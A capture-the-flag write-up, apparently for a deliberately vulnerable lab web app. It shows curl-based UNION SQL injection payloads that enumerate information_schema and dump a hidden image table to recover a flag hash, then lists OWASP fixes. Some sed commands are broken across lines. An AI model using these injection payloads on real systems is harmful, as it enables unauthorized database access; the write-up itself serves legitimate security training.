## Exploit 1. See **SQL injection 1**. We do the same recon, but we explore other tables than `users`. 1. This query, meant to explore the columns of the table `list_images`, does not output anything because it's not in the same table as the original query ```bash curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT title,comment FROM list_images" | sed 's/
\
    /g' | grep --only-matching "First name:.*"`
    ```
1. We use an extra query to find the schema to which the `list_images` table belongs
    ```bash
    curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT table_schema,table_name FROM information_schema.columns" | sed 's/
/\
        /g' | grep --only-matching ".*list_images.*"
    ```
1. From the following query we find a clue (similarly to **SQL injection 1**)
    ```bash
    curl --silent --get 'http://10.0.2.15/index.php?page=member&Submit=Submit' --data-urlencode "id=5 UNION SELECT title,comment FROM Member_images.list_images" | sed 's/
/\
        /g' | grep --only-matching "First name:.*"
    …
    First name: Hack me ?
Surname : If you read this just use this md5 decode lowercase then sha256 to win this flag ! : 1928e8083cf461a51303633093573c46
``` 1. `1928e8083cf461a51303633093573c46` reverse md5 lookup → `albatroz` → `echo -n albatroz | sha256sum` ## Fix [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection]() - Don't show SQL errors on the front-end because it gives attackers clues about the database and the queries that can be used to exploit them - Don't include untrusted, unfiltered and/or unsanitized input into a SQL query